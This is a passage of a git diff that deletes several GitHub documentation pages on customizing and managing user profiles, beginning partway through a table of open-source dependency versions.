4.5.1.48 | [48](https://github.com/opencv/opencv-python/releases/tag/48) | -| [python-pillow/Pillow](https://github.com/python-pillow/Pillow) | 8.1.0 | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0) | -| [pycurl/pycurl](https://github.com/pycurl/pycurl) | 7.43.0.6 | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6) | -| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.7 | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7) | -| [pyserial/pyserial](https://github.com/pyserial/pyserial) | 3.5 | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5) | -| [dateutil/dateutil](https://github.com/dateutil/dateutil) | 2.8.1 | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1) | -| [yaml/pyyaml](https://github.com/yaml/pyyaml) | 5.4.1 | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1) | -| [psf/requests](https://github.com/psf/requests) | 2.25.1 | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1) | -| [boto/s3transfer](https://github.com/boto/s3transfer) | 0.3.4 | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4) | -| [enthought/scimath](https://github.com/enthought/scimath) | 4.2.0 | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0) | -| [scipy/scipy](https://github.com/scipy/scipy) | 1.6.1 | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1) | -| [benjaminp/six](https://github.com/benjaminp/six) | 1.15.0 | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0) | -| [enthought/traits](https://github.com/enthought/traits) | 6.2.0 | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0) | -| [urllib3/urllib3](https://github.com/urllib3/urllib3) | 1.26.3 | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3) | -| [python-attrs/attrs](https://github.com/python-attrs/attrs) | 19.3.0 | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0) | -| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/) | 3.2.4 | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4) | -| [pallets/click](https://github.com/pallets/click) | 7.0 | [7.0](https://github.com/pallets/click/releases/tag/7.0) | -| [pallets/flask](https://github.com/pallets/flask) | 1.1.1 | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1) | -| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7 | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7) | -| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig) | 1.0.0 | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0) | -| [pallets/itsdangerous](https://github.com/pallets/itsdangerous) | 1.1.0 | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0) | -| [pallets/jinja](https://github.com/pallets/jinja) | 2.10.3 | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3) | -| [lxml/lxml](https://github.com/lxml/lxml) | 4.4.1 | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1) | -| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown) | 3.1.1 | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1) | -| [pallets/markupsafe](https://github.com/pallets/markupsafe) | 1.1.1 | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1) | -| [pypa/packaging](https://github.com/pypa/packaging) | 19.2 | [19.2](https://github.com/pypa/packaging/releases/tag/19.2) | -| [pexpect/pexpect](https://github.com/pexpect/pexpect) | 4.7.0 | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0) | -| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy) | 0.13.0 | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0) | -| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess) | 0.6.0 | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0) | -| [pytest-dev/py](https://github.com/pytest-dev/py) | 1.8.0 | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0) | -| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.5 | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5) | -| [pytest-dev/pytest](https://github.com/pytest-dev/pytest) | 5.3.0 | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0) | -| [stub42/pytz](https://github.com/stub42/pytz) | 2019.3 | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3) | -| [uiri/toml](https://github.com/uiri/toml) | 0.10.0 | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0) | -| [pallets/werkzeug](https://github.com/pallets/werkzeug) | 0.16.0 | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0) | -| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable) | 1.2 | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2) | -| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic) | 2.9.1.1 | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1) | -| [nasa/fprime](https://github.com/nasa/fprime) | 1.3 | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3) | -| [nucleic/cppy](https://github.com/nucleic/cppy) | 1.1.0 | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0) | -| [opencv/opencv](https://github.com/opencv/opencv) | 4.5.1 | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1) | -| [curl/curl](https://github.com/curl/curl) | 7.72.0 | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0) | -| [madler/zlib](https://github.com/madler/zlib) | 1.2.11 | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11) | -| [apache/lucene](https://github.com/apache/lucene) | 7.7.3 | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) | -| [yaml/libyaml](https://github.com/yaml/libyaml) | 0.2.5 | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5) | -| [elastic/elasticsearch](https://github.com/elastic/elasticsearch) | 6.8.1 | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1) | -| [twbs/bootstrap](https://github.com/twbs/bootstrap) | 4.3.1 | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1) | -| [vuejs/vue](https://github.com/vuejs/vue) | 2.6.10 | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10) | -| [carrotsearch/hppc](https://github.com/carrotsearch/hppc) | 0.7.1 | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1) | -| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time) | 2.10.1 | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1) | -| [tdunning/t-digest](https://github.com/tdunning/t-digest) | 3.2 | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2) | -| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram) | 2.1.9 | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9) | -| [locationtech/spatial4j](https://github.com/locationtech/spatial4j) | 0.7 | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7) | -| [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) | -| [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) | - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md deleted file mode 100644 index 93b78423cb0b..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Pinning items to your profile -intro: You can pin gists and repositories to your profile so other people can quickly see your best work. -redirect_from: - - /articles/pinning-repositories-to-your-profile - - /articles/pinning-items-to-your-profile - - /github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile - - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Pin items ---- -You can pin a public repository if you own the repository or you've made contributions to the repository within the last year. Commits to forks don't count as contributions, so you can't pin a fork that you don't own. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile) - -You can pin any public gist you own. - -Pinned items include important information about the item, like the number of stars a repository has received or the first few lines of a gist. Once you pin items to your profile, the "Pinned" section replaces the "Popular repositories" section on your profile. - -You can reorder the items in the "Pinned" section. In the upper-right corner of a pin, click {% octicon "grabber" aria-label="The grabber symbol" %} and drag the pin to a new location. - -{% data reusables.profile.access_profile %} -1. At the top of the "Popular repositories" or "Pinned" section, click **Customize your pins**. - - ![Screenshot of the "Pinned" section of a user profile. A link, labeled "Customize your pins", is highlighted with an orange outline.](/assets/images/help/profile/customize-pinned-repositories.png) -1. Optionally, to change which items are included in the searchable list, next to "Show", select or deselect **Repositories** and **Gists**. -1. Optionally, to make it easier to find a specific item, in the "Filter repositories and gists" field, type the name of a user, organization, repository, or gist. -1. Select up to six repositories and gists, combined. -1. Click **Save pins**. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md deleted file mode 100644 index a9a5f1beff1f..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Setting your profile to private -intro: 'A private profile displays only limited information, and hides some activity.' -versions: - fpt: '*' -topics: - - Profiles -shortTitle: Set profile to private ---- -## About private profiles - -To hide parts of your profile page, you can make your profile private. This also hides your activity in various social features on {% data variables.product.prodname_dotcom %}. A private profile hides information from all users, and there is currently no option to allow specified users to see your activity. - -After making your profile private, you can still view all your information when you visit your own profile. - -Private profiles cannot receive sponsorships under [{% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). To be eligible for {% data variables.product.prodname_sponsors %}, your profile cannot be private. - -## Differences between private and public profiles - -When your profile is private, the following content is hidden from your profile page: - -* Achievements and highlights -* Activity overview and activity feed -* Contribution graph -* Follower and following counts -* Follow and Sponsor buttons -* Organization memberships -* Stars, projects, packages, and sponsoring tabs -* Your pronouns - -> [!NOTE] -> When your profile is private, some optional fields are still publicly visible, such as the README, biography, and profile photo. - -## Changes to reporting on your activities - -By making your profile private, you will not remove or hide past activity; this setting only applies to your activity while the private setting is enabled. - -When your profile is private, your {% data variables.product.prodname_dotcom %} activity will not appear in the following locations: - -* Activity feeds for other users -* Discussions leaderboards -* Site-wide search results -* The [Trending](https://github.com/trending) page - -> [!NOTE] -> Your activity on public repositories will still be publicly visible to anyone viewing those repositories, and some activity data may still be available through the {% data variables.product.prodname_dotcom %} API. - -## Changing your profile's privacy settings - -{% data reusables.user-settings.access_settings %} -1. Navigate to the "Public profile" section, and scroll down to "Contributions & Activity" -1. Select the checkbox next to **Make profile private and hide activity**. -{% data reusables.user-settings.update-preferences %} diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/using-your-github-profile-to-enhance-your-resume.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/using-your-github-profile-to-enhance-your-resume.md deleted file mode 100644 index 7b298fdfb58e..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/using-your-github-profile-to-enhance-your-resume.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Using your GitHub profile to enhance your resume -intro: 'Demonstrate your skills to hiring managers with your {% data variables.product.github %} profile.' -versions: - fpt: '*' -topics: - - Profiles -shortTitle: Enhance your resume ---- - -## How can my {% data variables.product.github %} profile help with my job search? - -When you include a link to your {% data variables.product.github %} profile in your resume, you showcase your skills and experience to potential employers. In this article, you'll find practical tips for preparing your {% data variables.product.github %} profile for a job search. - -After you complete these steps, you can be confident that hiring managers will have a good sense of your technical skills when they are reviewing your {% data variables.product.github %} profile. - -## Step 1: Create a professional bio - -Your bio is a sentence or two that appears under your profile picture. Use your bio to give potential employers a high-level overview of who you are and what kind of work you're looking for. - -Navigate to your [profile settings](https://github.com/settings/profile) to update your bio. Keep this description short and concise. Consider something like, "Hello! My name is Mona and I'm looking for work as a front end developer." - -> [!NOTE] While you're here, you can update the rest of your profile settings. Consider including a profile picture, a link to your personal website or portfolio, and links to your social profiles. - -## Step 2: Create a profile README - -Compared to your bio, your profile README is more flexible, allowing for more creativity. You can write more in your profile README to showcase your skills and interests. - -Things you may want to add to your profile README include: - -* **An introduction**: Write a brief introduction of yourself and your professional background. -* **Skills**: List your technical skills, including any programming languages, frameworks, and tools you are proficient in. -* **Professional experience**: Describe where you've worked before and what sort of professional skills you've built. These can even be non-technical skills, such as communication and empathy. -* **Some of your best projects**: Describe some projects you're proud of. You'll also pin these repositories later, but your README gives you a chance to provide more commentary. -* **Achievements or awards**: Show off any of your achievements, including certifications or awards you've received for your work. - -To create your profile README, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme#adding-a-profile-readme). - -> [!TIP] Look for ways to show off your coding skills within your profile README. For example, [@new2code](https://github.com/new2code) demonstrates knowledge of {% data variables.product.prodname_actions %} and Python scripts by automating daily updates to the [Countdown to GitHub Universe](https://github.com/new2code#countdown-to-github-universe) section. - -## Step 3: Showcase your best projects - -Pick 3-5 projects to highlight by "pinning" them on your profile. Repositories you pin will be prominently displayed, allowing you to direct hiring managers' attention to the projects you're most proud of. - -For the best chances at an interview, pick projects that show your diverse skills and are relevant to your specific job search. If possible, pin some projects you created and some that you contributed to: - -* Projects you own are fully under your control, so you can improve them using of the steps below. -* Open source projects highlight your ability to collaborate with others. - -To pin the repositories, click **Customize your pins** in the "Popular repositories" section of your profile. - -## Step 4: Improve your showcased projects - -Hiring managers usually consider many applicants for each role. Expect that they will only look at your projects for a couple minutes. To give the best impression during this brief time, you should make your projects easy to understand and explore. - -### Write a helpful README - -The README for your project's repository is a perfect space to give a concise project overview. Use [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot) to help write your README, with a prompt like this: - ->Write a README for my lottery-number-generator repository. - -Then, copy the response into a `README.md` file in the root of the repository, editing as needed. Helpful READMEs include: - -* A list of key features of the project -* Details on how to set up and run the project -* An example or demo of the project -* Instructions on testing your code - -For example, {% data variables.product.prodname_copilot_short %} wrote the README for [@new2code](https://github.com/new2code)'s [hiking pace calculator](https://github.com/new2code/hiking-pace-calculator?tab=readme-ov-file#hiking-pace-calculator). - -### Update the repository details - -On the main page of the repository, to the right of "About," click {% octicon "gear" aria-label="Edit repository metadata" %}. Here, you can provide information that helps hiring managers quickly understand the project: -* A brief description of your project -* A website where you can see the project in action -* Topic tags that categorize your project - -### Make the code easy to understand - -To give the best impression, you'll want to make sure that hiring managers can understand your project quickly. Follow these best practices: - -* Maintain a **consistent coding style** throughout the project -* Use **descriptive** file and directory names -* Use helpful **comments and documentation** for any complex or important snippets -* Refine your code according to popular **style guides** -* **Simplify** complex functions, break down large classes, and remove redundant code -* Provide **tests** to validate that your code is working as expected - -The easiest way to follow these practices is to use {% data variables.product.prodname_copilot_short %} with {% data variables.product.prodname_vscode_shortname %}. See [Set up Visual Studio Code with Copilot](https://code.visualstudio.com/docs/copilot/setup-simplified) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -For example, {% data variables.product.prodname_copilot_short %} wrote the comments in [`update_readme.py`](https://github.com/new2code/new2code/blob/main/update_readme.py), when [@new2code](https://github.com/new2code) used the following prompt: - -> Help me write some helpful comments on this file so that it's easy to understand. - -### Update your project's dependencies - -If your project has any dependencies, you can showcase your understanding of security best practices by ensuring you're using the **latest versions**. - -You can automate this process with {% data variables.product.prodname_dependabot %}, which generates pull requests that update your project to new versions as they become available. See [AUTOTITLE](/code-security/getting-started/dependabot-quickstart-guide). - -## Step 5: Share your results - -Your profile is now ready to be included on your resume! The changes you made today will have a big impact on your job search and will make your {% data variables.product.github %} profile stand out to hiring managers. - -Share your updated profile and get inspiration from others in our [Community discussion](https://github.com/orgs/community/discussions/150827). - -## Further reading - -* [AUTOTITLE](/copilot/copilot-chat-cookbook/refactoring-code/improving-code-readability-and-maintainability) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md deleted file mode 100644 index 97adb42f5279..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Setting up and managing your GitHub profile -intro: You can customize your GitHub profile and manage your contribution graph. -shortTitle: Profiles -redirect_from: - - /categories/setting-up-and-managing-your-github-profile - - /github/setting-up-and-managing-your-github-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -children: - - /customizing-your-profile - - /managing-contribution-settings-on-your-profile ---- - diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md deleted file mode 100644 index d9e714945fb5..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Managing contribution settings on your profile -intro: 'Your contributions, including commits, proposed pull requests, and opened issues, are displayed on your profile so people can easily see the work you''ve done.' -redirect_from: - - /articles/managing-contribution-graphs-on-your-profile - - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -children: - - /viewing-contributions-on-your-profile - - /showing-an-overview-of-your-activity-on-your-profile - - /showing-your-private-contributions-and-achievements-on-your-profile - - /sharing-contributions-from-github-enterprise-server - - /why-are-my-contributions-not-showing-up-on-my-profile - - /troubleshooting-commits-on-your-timeline -shortTitle: Manage contribution settings ---- - diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sharing-contributions-from-github-enterprise-server.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sharing-contributions-from-github-enterprise-server.md deleted file mode 100644 index f60f80098b59..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sharing-contributions-from-github-enterprise-server.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Sharing contributions from GitHub Enterprise Server -intro: 'You can send contribution counts from {% data variables.product.prodname_ghe_server %} to your profile on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}.' -redirect_from: - - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile - - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile - - /articles/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile - - /github/setting-up-and-managing-your-github-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile - - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Send enterprise contributions ---- - -## About enterprise contributions - -When you share contributions, your {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} profile shows {% data variables.product.prodname_ghe_server %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% data variables.product.prodname_ghe_server %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made on {% data variables.product.prodname_ghe_server %}. - -You can decide whether to show counts for private contributions on your profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile). - -For more information about how contributions are calculated, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile). - -> [!NOTE] -> The connection between your accounts is governed by [GitHub's Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement) and users enabling the connection must agree to the [GitHub Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service). - -## Sending your enterprise contributions to your profile - -Before you can connect your {% data variables.product.prodname_ghe_server %} profile to your {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner. - -{% ifversion fpt or ghec %} - -To share contributions from {% data variables.product.prodname_ghe_server %}, view this article in the [{% data variables.product.prodname_ghe_server %} version of the site](/enterprise-server@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." - -{% elsif ghes %} - -1. Sign in to both your user account on {% data variables.product.prodname_ghe_cloud %} **and** your user account on {% data variables.product.prodname_ghe_cloud %} ({% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %}). -1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. - - ![Screenshot of a user's account menu on {% data variables.product.prodname_dotcom %}. The menu item "Settings" is outlined in dark orange.](/assets/images/help/settings/userbar-account-settings-global-nav-update.png) - -{% data reusables.github-connect.github-connect-tab-user-settings %} -{% data reusables.github-connect.connect-dotcom-and-enterprise %} -1. Review the resources that {% data variables.product.prodname_ghe_server %} will access from your {% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %} account, then click **Authorize**. -{% data reusables.github-connect.send-contribution-counts-to-githubcom %} - -{% endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md deleted file mode 100644 index 575cd333dda4..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Showing an overview of your activity on your profile -intro: You can enable the activity overview section on your profile to give viewers more context about the types of contributions you make. -redirect_from: - - /articles/showing-an-overview-of-your-activity-on-your-profile - - /github/setting-up-and-managing-your-github-profile/showing-an-overview-of-your-activity-on-your-profile - - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Show an overview ---- - -## About the activity overview - -{% data reusables.profile.activity-overview-summary %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile). - -![Screenshot of the activity overview section of a user profile.](/assets/images/help/profile/activity-overview-section.png) - -## Managing the visibility of the activity overview on your profile - -{% data reusables.profile.access_profile %} -1. Above your contributions graph, select the **Contribution settings** dropdown menu, then click **Activity overview**. - - ![Screenshot of the contributions graph on a user profile. A dropdown menu, labeled "Contribution settings", is highlighted with an orange outline.](/assets/images/help/profile/activity-overview.png) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md deleted file mode 100644 index a758eb4f316f..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Showing your private contributions {% ifversion hide-individual-achievements %}and achievements {% endif %}on your profile -intro: 'Your profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from private and internal repositories in addition to the activity from public repositories.' -redirect_from: - - /articles/publicizing-or-hiding-your-private-contributions-on-your-profile - - /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile - - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Private contributions {% ifversion hide-individual-achievements %}and achievements{% endif %} -allowTitleToDifferFromFilename: true ---- - -{% ifversion ghec %} - ->[!NOTE] Achievements are not available on subdomains of {% data variables.enterprise.data_residency_site %}, such as `octocorp.ghe.com`. - -{% endif %} - -If you publicize your private contributions, people without access to the private repositories you work in won't be able to see the details of your private contributions. Instead, they'll see the number of private contributions you made on any given day. Your public contributions will include detailed information. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile). - ->[!NOTE] On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.prodname_ghe_server %}{% endif %}, public contributions on your profile are visible {% ifversion fpt or ghec %}to anyone in the world who can access {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}only to other users of {% data variables.location.product_location %}{% endif %}. - -## Changing the visibility of your private contributions - -You can choose to publicize your private contributions, which allows visitors to your profile to see private contribution counts, without further details. - -If you choose to hide your private contributions, visitors will only see your public contributions. - -{% data reusables.profile.access_profile %} -1. Above the contribution calendar, click **Contribution settings**. - - ![Screenshot of the "Contribution settings" link, highlighted with a dark orange outline.](/assets/images/help/profile/contribution-settings.png) - -1. Click **Private contributions** to show or hide private contributions on your profile. - -{% ifversion hide-individual-achievements %} - -## Changing the visibility of achievements - -{% data reusables.user-settings.access_settings %} -1. Under "Profile settings", select or deselect **Show Achievements on my profile.** -1. Click **Update preferences**. - -## Hiding an individual achievement on your profile - -You can hide an individual achievement on your profile. When hidden, badges are only visible to you. - -{% data reusables.profile.access_profile %} -1. Under "Achievements", click the achievement you want to hide. - - ![Screenshot of the "Achievements" section of a user profile. A badge with a cowboy image is highlighted with a dark orange outline.](/assets/images/help/profile/achievements-on-profile.png) - -1. Click {% octicon "eye" aria-label="Hide from profile" %}. - - ![Screenshot of an achievement. An open eye icon is highlighted with a dark orange outline.](/assets/images/help/profile/achievements-detail-view.png) - -{% endif %} - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md deleted file mode 100644 index af44867ff0d5..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Troubleshooting commits on your timeline -intro: 'You can view details for commits from your profile''s timeline. If you don''t see commits you expect on your profile or can''t find commit details from your profile page, the commit date and the commit author date may be different.' -redirect_from: - - /articles/troubleshooting-commits-on-your-timeline - - /github/setting-up-and-managing-your-github-profile/troubleshooting-commits-on-your-timeline - - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Troubleshoot 